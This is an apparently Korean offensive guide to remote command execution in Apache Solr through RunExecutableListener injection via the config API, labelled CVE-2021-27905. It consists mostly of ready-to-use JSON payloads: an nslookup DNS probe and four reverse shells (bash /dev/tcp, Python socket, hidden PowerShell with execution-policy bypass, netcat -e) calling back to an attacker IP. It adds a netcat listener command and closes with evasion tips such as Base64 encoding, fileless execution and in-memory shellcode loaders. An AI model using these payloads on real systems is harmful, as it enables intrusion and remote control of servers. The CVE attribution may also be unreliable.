CVE-2021-27905 개요
- 취약점 ID: CVE-2021-27905
- 대상 모듈: Apache Solr DataImportHandler(DIH)
- 공격 유형: 원격 명령 실행(RCE)
- 활용 조건: DIH가 활성화되어 있고,
configAPI를 통해 악의적인RunExecutableListener설정을 주입할 수 있어야 함
DNS 기반 취약점 탐지
취약점 존재 여부를 확인하기 위해 DNS 요청을 발생시키는 방법으로 탐지할 수 있습니다.
{
"update-queryresponsewriter": {
"name": "exp_listener",
"class": "solr.RunExecutableListener",
"exe": "nslookup",
"args": [ "probe.attack.domain" ]
}
}
결과 해석
| 응답 상태 | 취약 가능성 | 방어 상태 |
|---|---|---|
| DNS 로그에 요청 기록 | 취약점 존재 | - |
| DNS 로그에 기록 없음 | - | 패치 적용 또는 방화벽 차단 |
리버스 쉘 연결 테스트
Bash 기반 리버스 쉘 (리눅스)
{
"add-listener": {
"event": "postCommit",
"name": "shell_bash",
"class": "solr.RunExecutableListener",
"exe": "/bin/bash",
"args": [
"-c",
"exec bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1"
]
}
}
Python 기반 리버스 쉘
{
"add-listener": {
"event": "newSearcher",
"name": "shell_python",
"class": "solr.RunExecutableListener",
"exe": "python3",
"args": [
"-c",
"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<ATTACKER_IP>',<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"
]
}
}
PowerShell 기반 리버스 쉘 (윈도우)
{
"add-listener": {
"event": "firstSearcher",
"name": "shell_powershell",
"class": "solr.RunExecutableListener",
"exe": "powershell.exe",
"args": [
"-w", "hidden",
"-nop",
"-ep", "bypass",
"-c",
"$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>', <PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
]
}
}
Netcat 기반 쉘 연결
{
"add-listener": {
"event": "postCommit",
"name": "shell_nc",
"class": "solr.RunExecutableListener",
"exe": "nc",
"args": [
"<ATTACKER_IP>",
"<PORT>",
"-e",
"/bin/sh"
]
}
}
리버스 쉘 수신 설정
공격자 서버에서 아래 명령으로 수신 포트를 오픈합니다:
nc -nlvp <PORT>
핵심 파라미터 정리
| 항목 | 설명 |
|---|---|
<TARGET_URL> |
대상 Apache Solr 서버 주소 |
{core} |
Solr 코어 이름 (예: collection1) |
<ATTACKER_IP> |
공격자의 공인 IP 주소 |
<PORT> |
쉘 수신용 포트 번호 |
고급 기법 활용
보안 솔루션이 적용된 환경에서는 다음과 같은 기법을 사용할 수 있습니다:
- Base64 인코딩된 명령어: 명령어를 Base64로 인코딩하여 우회 실행
- 파일리스 공격: 디스크에 파일을 저장하지 않고 메모리 내에서 직접 실행
- 쉘코드 로더: Python 또는 PowerShell을 이용한 인메모리 쉘코드 실행